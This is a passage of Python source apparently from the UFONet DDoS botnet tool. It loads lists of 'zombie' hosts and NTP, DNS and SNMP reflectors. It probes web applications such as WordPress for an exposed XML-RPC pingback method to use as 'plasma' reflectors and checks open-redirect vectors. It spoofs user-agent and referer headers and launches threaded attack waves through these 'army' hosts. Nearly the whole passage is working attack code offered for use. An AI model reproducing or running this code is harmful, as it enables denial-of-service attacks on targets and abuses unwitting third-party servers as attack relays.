  3991. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3992. if self.options.verbose:
  3993. print("[Info] [X-RPCs] Reply:", target_reply)
  3994. except:
  3995. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3996. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3997. if not self.options.disablepurge:
  3998. self.discard_rpcs.append(rpc)
  3999. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4000. else:
  4001. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  4002. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4003. if not self.options.disablepurge:
  4004. self.discard_rpcs.append(rpc)
  4005. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4006. if self.options.verbose:
  4007. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  4008. if self.options.disableucavs:
  4009. self.extra_zombies_lock = False # [ARMY] have finished
  4010. def extract_rpcs(self):
  4011. # extract rpcs from file
  4012. options = self.options
  4013. try:
  4014. f = open(self.rpcs_file)
  4015. rpcs = f.readlines()
  4016. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  4017. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  4018. f.close()
  4019. if not rpcs:
  4020. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4021. self.options.disablerpcs = True
  4022. return
  4023. else:
  4024. return rpcs
  4025. except:
  4026. if os.path.exists(self.rpcs_file) == True:
  4027. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4028. return
  4029. else:
  4030. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  4031. return
  4032. def extract_ntps(self):
  4033. # extract ntps from file
  4034. options = self.options
  4035. try:
  4036. f = open(self.ntps_file)
  4037. ntps = f.readlines()
  4038. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  4039. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  4040. f.close()
  4041. if not ntps:
  4042. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4043. return
  4044. else:
  4045. return ntps
  4046. except:
  4047. if os.path.exists(self.ntps_file) == True:
  4048. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4049. return
  4050. else:
  4051. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  4052. return
  4053. def extract_dnss(self):
  4054. # extract dnss from file
  4055. options = self.options
  4056. try:
  4057. f = open(self.dnss_file)
  4058. dnss = f.readlines()
  4059. dnss = [ dns.replace('\r','') for dns in dnss ]
  4060. dnss = [ dns.replace('\n','') for dns in dnss ]
  4061. f.close()
  4062. if not dnss:
  4063. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4064. return
  4065. else:
  4066. return dnss
  4067. except:
  4068. if os.path.exists(self.dnss_file) == True:
  4069. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4070. return
  4071. else:
  4072. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  4073. return
  4074. def extract_snmps(self):
  4075. # extract snmps from file
  4076. options = self.options
  4077. try:
  4078. f = open(self.snmps_file)
  4079. snmps = f.readlines()
  4080. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  4081. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  4082. f.close()
  4083. if not snmps:
  4084. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4085. return
  4086. else:
  4087. return snmps
  4088. except:
  4089. if os.path.exists(self.snmps_file) == True:
  4090. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4091. return
  4092. else:
  4093. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  4094. return
  4095. def extract_zombies(self):
  4096. options = self.options
  4097. if self.options.test:
  4098. try:
  4099. f = open(options.test)
  4100. zombies = f.readlines()
  4101. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4102. f.close()
  4103. if not zombies:
  4104. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4105. return
  4106. else:
  4107. return zombies
  4108. except:
  4109. if os.path.exists(options.test) == True:
  4110. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4111. return #sys.exit(2)
  4112. else:
  4113. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4114. return #sys.exit(2)
  4115. else:
  4116. try:
  4117. f = open(self.zombies_file)
  4118. zombies = f.readlines()
  4119. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4120. f.close()
  4121. if not zombies:
  4122. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4123. return
  4124. else:
  4125. return zombies
  4126. except:
  4127. if os.path.exists(self.zombies_file) == True:
  4128. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4129. return #sys.exit(2)
  4130. else:
  4131. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4132. return #sys.exit(2)
  4133. def extract_target_list(self):
  4134. options = self.options
  4135. try:
  4136. f = open(options.target_list)
  4137. targets = f.readlines()
  4138. targets = [ target.replace('\n','') for target in targets ]
  4139. f.close()
  4140. if not targets:
  4141. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4142. return
  4143. else:
  4144. return targets
  4145. except:
  4146. if os.path.exists(options.target_list) == True:
  4147. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4148. return #sys.exit(2)
  4149. else:
  4150. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4151. return #sys.exit(2)
  4152. def update_zombies(self, zombies_ready):
  4153. # update zombies on file
  4154. options = self.options
  4155. if options.attackme:
  4156. f = open(self.zombies_file, "w") # re-write list
  4157. for zombie in self.doll.real_zombies: # add only alien verified zombies
  4158. for x in zombie:
  4159. f.write(str(x) + os.linesep)
  4160. f.close()
  4161. if options.test or options.testall:
  4162. if not options.test:
  4163. options.test = self.zombies_file
  4164. f = open(options.test, "w") # re-write list only with zombies ready
  4165. for zombie in zombies_ready:
  4166. f.write(zombie + os.linesep)
  4167. f.close()
  4168. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  4169. f = open(self.zombies_file)
  4170. zombies_on_file = f.read().splitlines()
  4171. with open(self.zombies_file, "a") as zombie_list:
  4172. for zombie in zombies_ready:
  4173. if zombie not in zombies_on_file: # parse possible repetitions
  4174. zombie_list.write(zombie + os.linesep)
  4175. if options.download or options.download_github:
  4176. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4177. else:
  4178. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  4179. f.close()
  4180. def update_aliens(self, aliens_ready):
  4181. # update aliens on file
  4182. options = self.options
  4183. if options.download or options.download_github: # append only new aliens to list
  4184. f = open(self.aliens_file)
  4185. aliens_on_file = f.read().splitlines()
  4186. with open(self.aliens_file, "a") as alien_list:
  4187. for alien in aliens_ready:
  4188. if alien not in aliens_on_file: # parse possible repetitions
  4189. alien_list.write(alien + os.linesep)
  4190. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4191. f.close()
  4192. def update_droids(self, droids_ready):
  4193. # update droids on file
  4194. options = self.options
  4195. if options.download or options.download_github: # append only new droids to list
  4196. f = open(self.droids_file)
  4197. droids_on_file = f.read().splitlines()
  4198. with open(self.droids_file, "a") as droid_list:
  4199. for droid in droids_ready:
  4200. if droid not in droids_on_file: # parse possible repetitions
  4201. droid_list.write(droid + os.linesep)
  4202. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4203. f.close()
  4204. def update_ucavs(self, ucavs_ready):
  4205. # update ucavs on file
  4206. options = self.options
  4207. if options.download or options.download_github: # append only new ucavs to list
  4208. f = open(self.ucavs_file)
  4209. ucavs_on_file = f.read().splitlines()
  4210. with open(self.ucavs_file, "a") as ucav_list:
  4211. for ucav in ucavs_ready:
  4212. if ucav not in ucavs_on_file: # parse possible repetitions
  4213. ucav_list.write(ucav + os.linesep)
  4214. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4215. f.close()
  4216. def update_rpcs(self, rpcs_ready):
  4217. # update rpcs on file
  4218. options = self.options
  4219. if options.testrpc or options.testall:
  4220. f = open(self.rpcs_file, "w") # re-write list
  4221. for rpc in rpcs_ready: # add only rpc verified zombies
  4222. f.write(rpc + os.linesep)
  4223. f.close()
  4224. if options.download or options.download_github: # append only new rpcs to list
  4225. f = open(self.rpcs_file)
  4226. rpcs_on_file = f.read().splitlines()
  4227. with open(self.rpcs_file, "a") as rpc_list:
  4228. for rpc in rpcs_ready:
  4229. if rpc not in rpcs_on_file: # parse possible repetitions
  4230. rpc_list.write(rpc + os.linesep)
  4231. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4232. f.close()
  4233. def update_dnss(self, dnss_ready):
  4234. # update dns on file
  4235. options = self.options
  4236. if options.download or options.download_github: # append only new dns to list
  4237. f = open(self.dnss_file)
  4238. dnss_on_file = f.read().splitlines()
  4239. with open(self.dnss_file, "a") as dns_list:
  4240. for dns in dnss_ready:
  4241. if dns not in dnss_on_file: # parse possible repetitions
  4242. dns_list.write(dns + os.linesep)
  4243. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4244. f.close()
  4245. def update_ntps(self, ntps_ready):
  4246. # update ntps on file
  4247. options = self.options
  4248. if options.download or options.download_github: # append only new ntps to list
  4249. f = open(self.ntps_file)
  4250. ntps_on_file = f.read().splitlines()
  4251. with open(self.ntps_file, "a") as ntp_list:
  4252. for ntp in ntps_ready:
  4253. if ntp not in ntps_on_file: # parse possible repetitions
  4254. ntp_list.write(ntp + os.linesep)
  4255. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4256. f.close()
  4257. def update_snmps(self, snmps_ready):
  4258. # update snmps on file
  4259. options = self.options
  4260. if options.download or options.download_github: # append only new snmps to list
  4261. f = open(self.snmps_file)
  4262. snmps_on_file = f.read().splitlines()
  4263. with open(self.snmps_file, "a") as snmp_list:
  4264. for snmp in snmps_ready:
  4265. if snmp not in snmps_on_file: # parse possible repetitions
  4266. snmp_list.write(snmp + os.linesep)
  4267. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4268. f.close()
  4269. def search_rpc(self, rpc_host):
  4270. options = self.options
  4271. rpc_vulnerable = False
  4272. rpc_pingback_url = False
  4273. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4274. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4275. try:
  4276. if self.options.testall: # testing_all
  4277. if options.proxy: # set proxy
  4278. self.proxy_transport(options.proxy)
  4279. req = urllib.request.Request(rpc_host, None, headers)
  4280. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4281. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4282. for link in rpc_links:
  4283. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4284. rpc_pingback_url = link[0]
  4285. rpc_vulnerable = True
  4286. break # found it!
  4287. else: # not any XML-RPC discovering methods are working
  4288. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4289. rpc_vulnerable = False
  4290. else:
  4291. if rpc_host.startswith("http://"):
  4292. rpc_host = rpc_host.replace("http://", "")
  4293. if rpc_host.startswith("https://"):
  4294. rpc_host = rpc_host.replace("https://", "")
  4295. rpc_host = urlparse(rpc_host)
  4296. rpc_path = rpc_host.path.replace("\r", "")
  4297. self.head = True # send HTTP HEAD request searching for: X-Pingback
  4298. reply = self.connect_zombie(rpc_path)
  4299. self.head = False
  4300. if "X-Pingback" in reply: # discovering pingback-enabled resources
  4301. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  4302. rpc_pingback_url = m.group(1) # extract rpc server url
  4303. rpc_vulnerable = True
  4304. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  4305. if options.proxy: # set proxy
  4306. self.proxy_transport(options.proxy)
  4307. req_rpc = urllib.request.Request(rpc_host, None, headers)
  4308. req_rpc.get_method = lambda : 'GET'
  4309. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  4310. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4311. for link in rpc_links:
  4312. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4313. rpc_pingback_url = link[0]
  4314. rpc_vulnerable = True
  4315. break # found it!
  4316. else: # not any XML-RPC discovering methods are working
  4317. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4318. rpc_vulnerable = False
  4319. except: # something wrong discovering XML-RPC Pingback
  4320. pass
  4321. return rpc_vulnerable, rpc_pingback_url
  4322. def testing_offline(self):
  4323. # check for zombies offline
  4324. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  4325. print('='*35)
  4326. zombies_online = 0
  4327. zombies_offline = 0
  4328. zombies = self.extract_zombies()
  4329. rpcs = self.extract_rpcs()
  4330. aliens = self.extract_aliens()
  4331. droids = self.extract_droids()
  4332. ucavs = self.extract_ucavs()
  4333. try:
  4334. botnet = zombies + rpcs + aliens + droids + ucavs
  4335. except:
  4336. return
  4337. discarded = [] # for discarded zombies
  4338. if not botnet:
  4339. return
  4340. self.head = True
  4341. for zombie in botnet:
  4342. zombie = str(zombie)
  4343. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  4344. zombie_type = 'Zombie'
  4345. elif zombie in rpcs:
  4346. zombie_type = 'XML-RPC'
  4347. elif zombie in aliens:
  4348. zombie_type = 'Alien'
  4349. elif zombie in droids:
  4350. zombie_type = 'Droid'
  4351. elif zombie in ucavs:
  4352. zombie_type = 'UCAV'
  4353. t = urlparse(zombie)
  4354. name_zombie = t.netloc
  4355. if name_zombie == "":
  4356. name_zombie = zombie
  4357. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  4358. sep = ';$POST;'
  4359. zombie = zombie.split(sep, 1)[0]
  4360. try:
  4361. reply = str(self.connect_zombie(zombie))
  4362. except:
  4363. reply = None
  4364. if reply:
  4365. if reply == "200" or reply == "301" or reply == "302":
  4366. status = "ONLINE! -> [OK!]"
  4367. else:
  4368. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  4369. zombies_online = zombies_online + 1
  4370. else:
  4371. status = "NOT Working!"
  4372. zombies_offline = zombies_offline + 1
  4373. print("\nName:", name_zombie)
  4374. print("Type: [", zombie_type, "]")
  4375. print("Vector:", zombie)
  4376. print("HTTP Code: [", reply, "]")
  4377. print("STATUS:", status)
  4378. print('-'*21)
  4379. if status == "NOT Working!": # add to discarded zombies
  4380. if zombie not in discarded:
  4381. discarded.append(zombie)
  4382. print("\n" + '='*52)
  4383. print("\n+ Total Botnet:", len(botnet))
  4384. print("\n" + '-'*25 + "\n")
  4385. print(" - ONLINE:", zombies_online)
  4386. print(" - OFFLINE:", zombies_offline, "\n")
  4387. print('='*52 + '\n')
  4388. self.head = False
  4389. if zombies_offline > 0:
  4390. if not self.options.forceyes:
  4391. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  4392. print('-'*25 + "\n")
  4393. else:
  4394. test_reply = "Y"
  4395. if test_reply == "n" or test_reply == "N":
  4396. print("[AI] "+self.exit_msg+"\n")
  4397. return
  4398. else:
  4399. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4400. print('='*52)
  4401. print("\n - DISCARDED:", disc_zombies)
  4402. new_botnet = int(len(botnet) - disc_zombies)
  4403. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  4404. print('='*52 + '\n')
  4405. else:
  4406. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  4407. def send_extra_zombies(self):
  4408. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  4409. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  4410. if self.options.verbose:
  4411. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  4412. aliens = [self.extract_aliens()] # extract aliens from file to a list
  4413. for a in aliens:
  4414. if a is None:
  4415. self.options.disablealiens = True
  4416. self.total_aliens = 0 # not any alien invoked
  4417. else:
  4418. for s in a: # extract number of aliens
  4419. self.total_aliens = self.total_aliens + 1
  4420. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  4421. al.start()
  4422. else:
  4423. self.options.disablealiens = True
  4424. self.total_aliens = 0 # not any alien invoked
  4425. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  4426. if self.options.verbose:
  4427. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  4428. droids = [self.extract_droids()] # extract droids from file to a list
  4429. for d in droids:
  4430. if d is None:
  4431. self.options.disabledroids = True
  4432. self.total_droids = 0 # not any droid invoked
  4433. else:
  4434. for s in d: # extract number of droids
  4435. self.total_droids = self.total_droids + 1
  4436. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  4437. dr.start()
  4438. else:
  4439. self.options.disabledroids = True
  4440. self.total_droids = 0 # not any droid invoked
  4441. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  4442. if self.options.verbose:
  4443. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  4444. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  4445. for r in rpcs:
  4446. if r is None:
  4447. self.options.disablerpcs = True
  4448. self.total_rpcs = 0 # not any rpc invoked
  4449. else:
  4450. for s in r: # extract number of rpcs
  4451. self.total_rpcs = self.total_rpcs + 1
  4452. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  4453. rp.start()
  4454. else:
  4455. self.options.disablerpcs = True
  4456. self.total_rpcs = 0 # not any rpcs invoked
  4457. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  4458. if self.options.verbose:
  4459. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  4460. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  4461. for u in ucavs:
  4462. if u is None:
  4463. self.options.disableucavs = True
  4464. self.total_ucavs = 0 # not any ucav invoked
  4465. else:
  4466. for s in u: # extract number of ucavs
  4467. self.total_ucavs = self.total_ucavs + 1
  4468. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  4469. uc.start()
  4470. else:
  4471. self.options.disableucavs = True
  4472. self.total_ucavs = 0 # not any ucavs invoked
  4473. def abandoning_zombies(self):
  4474. if self.options.expire: # set timing for purge
  4475. try:
  4476. timing = int(self.options.expire)
  4477. except:
  4478. timing = self.expire_timing # default timing for purge
  4479. else:
  4480. timing = self.expire_timing # default timing for purge
  4481. if timing < 1:
  4482. timing = self.expire_timing # default timing for purge
  4483. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4484. zombies_lock = 0
  4485. if self.options.verbose:
  4486. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  4487. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  4488. zombies_lock = zombies_lock + 1
  4489. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4490. if self.options.verbose:
  4491. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4492. break
  4493. else:
  4494. time.sleep(1)
  4495. def discard_zombies(self, discarded):
  4496. disc_zombies = 0
  4497. if self.options.testoffline:
  4498. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  4499. else:
  4500. zombies_list = [self.zombies_file]
  4501. if not self.options.disablealiens: # add aliens
  4502. zombies_list.append(self.aliens_file)
  4503. if not self.options.disabledroids: # add droids
  4504. zombies_list.append(self.droids_file)
  4505. if not self.options.disablerpcs: # add rpcs
  4506. zombies_list.append(self.rpcs_file)
  4507. if not self.options.disableucavs: # add ucavs
  4508. zombies_list.append(self.ucavs_file)
  4509. for l in zombies_list:
  4510. f = open(l, "r+")
  4511. d = f.readlines()
  4512. f.close()
  4513. f = open(l, "w")
  4514. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  4515. f.close()
  4516. return disc_zombies
  4517. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  4518. m = []
  4519. for zombie in d:
  4520. if zombie not in discarded == True:
  4521. m.append(zombie) # save it
  4522. else:
  4523. disc_zombies = disc_zombies + 1
  4524. if not m:
  4525. f.write("")
  4526. else:
  4527. for z in m:
  4528. f.write(z+os.linesep)
  4529. return disc_zombies
  4530. def parse_url_encoding(self, target):
  4531. t = urlparse(target)
  4532. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  4533. path = urllib.parse.quote(t.path.encode('utf-8'))
  4534. query = urllib.parse.quote(t.query.encode('utf-8'))
  4535. if query:
  4536. if path.endswith(""):
  4537. path.replace("", "/")
  4538. query = urllib.parse.quote(t.query.encode('utf-8'))
  4539. target = t.scheme+"://"+host + path + "?" + query
  4540. else:
  4541. target = t.scheme+"://"+host + path
  4542. return target
  4543. def testing_rpcs(self, rpcs):
  4544. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  4545. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  4546. options = self.options
  4547. if self.options.testall: #testing_all
  4548. print('='*51)
  4549. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4550. print('='*51)
  4551. num_active_rpcs = 0
  4552. num_failed_rpcs = 0
  4553. rpcs_ready = []
  4554. print("Trying:", len(rpcs))
  4555. print('-'*21)
  4556. for rpc in rpcs:
  4557. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4558. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4559. if rpc.startswith("http://") or rpc.startswith("https://"):
  4560. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4561. rpc_host = rpc.replace("/xmlrpc.php", "")
  4562. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4563. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4564. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4565. try:
  4566. if options.proxy: # set proxy
  4567. self.proxy_transport(options.proxy)
  4568. try:
  4569. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4570. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4571. except:
  4572. if DEBUG == True:
  4573. traceback.print_exc()
  4574. if self.options.verbose:
  4575. print("[Info] [X-RPCs] Reply:", target_reply)
  4576. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4577. print("[Info] [AI] -> [VULNERABLE!]")
  4578. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4579. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4580. else:
  4581. print("[Info] [AI] -> [NOT vulnerable...]")
  4582. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4583. except:
  4584. print("[Info] [AI] -> [NOT vulnerable...]")
  4585. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4586. else:
  4587. print("[Info] [AI] -> [NOT vulnerable...]")
  4588. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4589. print('-'*21)
  4590. print('='*18)
  4591. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4592. print('='*18)
  4593. if self.options.testall: # testing_all
  4594. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4595. else:
  4596. # update 'rpcs' list
  4597. if num_active_rpcs == 0:
  4598. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4599. return
  4600. else:
  4601. if not self.options.forceyes:
  4602. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4603. print('-'*25)
  4604. else:
  4605. update_reply = "Y"
  4606. if update_reply == "n" or update_reply == "N":
  4607. print("[AI] "+self.exit_msg+"\n")
  4608. return
  4609. else:
  4610. self.update_rpcs(rpcs_ready)
  4611. if not self.options.upload:
  4612. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4613. def testing(self, zombies):
  4614. # test Open Redirect exploiting and show statistics
  4615. # HTTP HEAD check
  4616. army = 0
  4617. print ("Are 'they' alive? :-) (HEAD Check):")
  4618. print('='*35)
  4619. num_active_zombies = 0
  4620. num_failed_zombies = 0
  4621. active_zombies = []
  4622. print("Trying:", len(zombies))
  4623. print('-'*21)
  4624. for zombie in zombies:
  4625. zombie = str(zombie)
  4626. if zombie.startswith("http://") or zombie.startswith("https://"):
  4627. # send HEAD connection
  4628. self.head = True
  4629. try:
  4630. self.connect_zombies(zombie)
  4631. except:
  4632. pass
  4633. while self.herd.no_more_zombies() == False:
  4634. time.sleep(1)
  4635. for zombie in self.herd.done:
  4636. zombie = str(zombie)
  4637. t = urlparse(zombie)
  4638. if self.herd.get_result(zombie):
  4639. code_reply = self.herd.get_result(zombie)
  4640. self.head = False
  4641. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4642. name_zombie = t.netloc
  4643. if name_zombie == "":
  4644. name_zombie = zombie
  4645. print("Zombie:", name_zombie)
  4646. print("Status: OK ["+ code_reply + "]")
  4647. num_active_zombies = num_active_zombies + 1
  4648. active_zombies.append(zombie)
  4649. elif code_reply == "401":
  4650. print("Zombie:", t.netloc)
  4651. print("Status: Unauthorized ["+ code_reply + "]")
  4652. num_failed_zombies = num_failed_zombies + 1
  4653. elif code_reply == "403":
  4654. print("Zombie:", t.netloc)
  4655. print("Status: Error Forbidden ["+ code_reply + "]")
  4656. num_failed_zombies = num_failed_zombies + 1
  4657. elif code_reply == "404":
  4658. print("Zombie:", t.netloc)
  4659. print("Status: Not Found ["+ code_reply + "]")
  4660. num_failed_zombies = num_failed_zombies + 1
  4661. elif code_reply == "500":
  4662. print("Zombie:", t.netloc)
  4663. print("Status: Internal Server Error ["+ code_reply + "]")
  4664. num_failed_zombies = num_failed_zombies + 1
  4665. else:
  4666. print("Zombie:", t.netloc, "\nVector:", zombie)
  4667. print("Status: Not Allowed ["+ code_reply + "]")
  4668. num_failed_zombies = num_failed_zombies + 1
  4669. else:
  4670. if self.options.verbose:
  4671. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4672. print("Zombie:", zombie)
  4673. print("Status: Malformed!")
  4674. num_failed_zombies = num_failed_zombies + 1
  4675. print('-'*10)
  4676. self.herd.reset()
  4677. print('='*18)
  4678. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4679. print('='*18 + "\n")
  4680. print('='*22)
  4681. if num_active_zombies > 0:
  4682. # check url parameter vectors
  4683. print ("Checking for payloads:")
  4684. print('='*22)
  4685. print("Trying:", num_active_zombies)
  4686. print('-'*21)
  4687. zombies_ready = []
  4688. num_waiting_zombies = 0
  4689. if num_active_zombies == 0:
  4690. num_disconnected_zombies = num_failed_zombies
  4691. else:
  4692. num_disconnected_zombies = 0
  4693. for zombie in active_zombies:
  4694. zombie = str(zombie)
  4695. t = urlparse(zombie)
  4696. name_zombie = t.netloc
  4697. if name_zombie == "":
  4698. name_zombie = zombie
  4699. self.payload = True
  4700. try:
  4701. self.connect_zombies(zombie)
  4702. except:
  4703. pass
  4704. self.payload = False
  4705. while self.herd.no_more_zombies() == False:
  4706. time.sleep(1)
  4707. for zombie in self.herd.done:
  4708. zombie = str(zombie)
  4709. t = urlparse(zombie)
  4710. name_zombie = t.netloc
  4711. if name_zombie == "":
  4712. name_zombie = zombie
  4713. payload_zombie = zombie
  4714. payload_reply = ""
  4715. print("Vector:", payload_zombie)
  4716. self.payload = True
  4717. if self.herd.get_result(zombie):
  4718. payload_reply = self.herd.get_result(zombie)
  4719. self.payload = False
  4720. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4721. num_waiting_zombies = num_waiting_zombies + 1
  4722. print("Status:", "Waiting for orders... ;-)")
  4723. zombies_ready.append(zombie)
  4724. else:
  4725. num_disconnected_zombies = num_disconnected_zombies + 1
  4726. print("Status:", "Not ready...")
  4727. army = army + 1
  4728. print('-'*10)
  4729. self.herd.reset()
  4730. print('='*18)
  4731. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4732. print('='*18 + "\n")
